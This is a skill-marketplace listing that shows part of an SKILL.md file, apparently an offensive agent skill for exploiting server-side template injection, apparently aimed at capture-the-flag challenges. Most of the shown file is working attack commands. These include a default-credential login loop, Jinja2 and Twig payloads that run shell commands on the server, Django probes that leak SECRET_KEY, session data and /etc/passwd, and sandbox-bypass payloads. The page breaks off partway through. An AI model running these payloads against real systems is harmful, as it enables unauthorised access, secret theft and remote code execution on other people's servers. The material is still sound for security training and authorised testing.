Skip to main content

exploit-ssti

Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.

Aller à l'installation

Informations de source

Dépôt
BitterSecurity/Decepticon
Dernière activité de la source
2 juin 2026 à 18:57
Langue détectée de SKILL.md
anglais
Étoiles
5 522
Forks
1 048

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
exploit-ssti
description
Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python/Flask), Twig (PHP/Symfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako"}
# Server-Side Template Injection (SSTI) Exploits template engines that render user input, achieving RCE by injecting template directives. ## Default Credentials Fast-Path (when `default_credentials` is a co-tag) When `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing: ```bash # Try top default credential pairs in your FIRST exploit bash call for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do user="${creds%%:*}"; pass="${creds##*:}" resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null) code=$(echo "$resp" | tail -1) [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break done ``` A valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials. ## Detection — Universal Probes ```bash # Polyglot detection string curl -s 'https://<TARGET>/page?input=${{<%[%27"}}%>.' -o ssti_polyglot.txt # Math-based detection curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49' # Jinja2/Twig curl -s 'https://<TARGET>/page?input=${7*7}' | grep -o '49' # Freemarker/EL curl -s 'https://<TARGET>/page?input=#{7*7}' | grep -o '49' # Ruby ERB/Thymeleaf curl -s 'https://<TARGET>/page?input={{7*"7"}}' | grep -o '7777777' # Jinja2 (string repeat) ``` ## Jinja2 (Python — Flask/Django) ```bash # Confirm Jinja2 curl -s 'https://<TARGET>/page?input={{config}}' # RCE via MRO chain PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[<INDEX>]("id",shell=True,stdout=-1).communicate()[0]}}' curl -s "https://<TARGET>/page?input=${PAYLOAD}" -o ssti_jinja2_rce.txt # Common RCE payloads # {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # {{cycler.__init__.__globals__.os.popen('id').read()}} ``` ## Django (engine.from_string) When the target is **Django** (not Flask/Jinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2. **Identify Django (vs Flask/Jinja2):** ```bash # Response header tells: Django sets X-Frame-Options: DENY by default curl -sI "http://<TARGET>/" | grep -iE 'x-frame-options|csrftoken|django' # CSRF cookie name: csrftoken (Django) vs session (Flask) # HTML contains: name="csrfmiddlewaretoken" inputs curl -s "http://<TARGET>/" | grep -oE 'csrfmiddlewaretoken|csrf_token' # Admin route exists curl -s -o /dev/null -w '%{http_code}' "http://<TARGET>/admin/" # 200/302 → Django # Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises curl -s "http://<TARGET>/page?input={%25+csrf_token+%25}" | grep -o 'csrfmiddlewaretoken' ``` **Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work: - `{{request.application.__globals__}}` — Django has no `application` - `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin - `{{"".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty) - `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied Django template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`). **Productive paths for `engine.from_string` SSTI:** ```bash # 1. Settings leak (works when 'django.template.context_processors.debug' or # a custom processor injects `settings` into context) curl -s "http://<TARGET>/page?input={{settings.SECRET_KEY}}" curl -s "http://<TARGET>/page?input={{settings.DATABASES}}" curl -s "http://<TARGET>/page?input={{settings.DEBUG}}" curl -s "http://<TARGET>/page?input={{settings|pprint}}" # 2. Request / session / META leak (when `request` is in the context) curl -s "http://<TARGET>/page?input={{request.session.items}}" curl -s "http://<TARGET>/page?input={{request.session.flag}}" curl -s "http://<TARGET>/page?input={{request.META.HTTP_COOKIE}}" curl -s "http://<TARGET>/page?input={{request.user.is_staff}}" curl -s "http://<TARGET>/page?input={{request.environ}}" # 3. {% include %} path traversal (when an attacker-controlled path reaches include) curl -s "http://<TARGET>/page?input={%25+include+%22../../../etc/passwd%22+%25}" # 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`) # Server template: "Hello PLACEHOLDER!" → Payload: {{ request.session.flag }} # Rendered: "Hello <session-flag-value>!" curl -s --data-urlencode 'input={{ request.session.flag }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' "http://<TARGET>/render" curl -s --data-urlencode 'input={{ request.user.username }}' "http://<TARGET>/render" # 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain # Works when: # - The django.contrib.messages context processor is active (default in startproject) # - {% %} tag syntax is filtered/blocked but {{ }} expressions still evaluate # - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty) # Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is # `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed # attribute access, no filter bypass needed. curl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' "http://<TARGET>/render" # Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY. # When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot), # this single probe is the entire exploit. ``` **RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`/`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter/tag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon. **Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths): | Context object | Source processor | Useful disclosure | |---|---|---| | `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` | | `request.session.*` | `django.template.context_processors.request` | session keys / per-user secrets | | `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash | | `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) | | `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) | **3-strike pivot:** After 3 probes against `{{settings.*}}` / `{{request.session.*}}` / `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `/admin/` and search admin-only models / login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map. ## Twig (PHP — Symfony) ```bash # Confirm Twig curl -s 'https://<TARGET>/page?input={{_self.env.display("id")}}' # RCE payloads # Twig 1.x: # {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} # Twig 3.x: # {{['id']|filter('system')}} # {{['id']|map('system')}} curl -s "https://<TARGET>/page?input={{['id']|filter('system')}}" -o ssti_twig_rce.txt ``` **Multi-surface rendering rule (MANDATORY for stored-input apps).** When the target has CRUD endpoints (add/edit/list/search/detail/export), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail/show page or an admin/export view — even when the same value is displayed as literal text on the list/search results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.** Test EVERY rendering surface before concluding SSTI is unavailable: ```bash # 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag) curl -s -X POST "http://<TARGET>/<add_endpoint>" -d 'name={{7*7}}&description={{49+1}}' NEW_ID="<extract from redirect or list>" # 2. PROBE each rendering surface — the one that evaluates wins for path in /list /search?q={{7*7}} /detail/${NEW_ID} /edit/${NEW_ID} /export /admin/${RESOURCE} /api/${RESOURCE}/${NEW_ID}; do echo "=== ${path} ===" curl -s "http://<TARGET>${path}" -o /tmp/render_${path//\//_}.txt # 49/50 → evaluated → THIS surface is the SSTI sink grep -E "^[^<]*(49|50)([^0-9]|$)" /tmp/render_${path//\//_}.txt | head -3 done ``` **Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\Environment` instances initialized for content/email/PDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI. **Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`/`filter` are not whitelisted): ```bash # Twig 1.x — register undefined filter callback to call arbitrary PHP function curl -s 'http://<TARGET>/page?input={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}' # Twig 2.x/3.x — use map/filter with system curl -s 'http://<TARGET>/page?input={{["id"]|map("system")|join}}' # Class-injection gadget (when filters blocked)
Voir sur GitHub
Ce SKILL.md est tres volumineux, SkillsMP affiche donc ici seulement la premiere section. Voir sur GitHub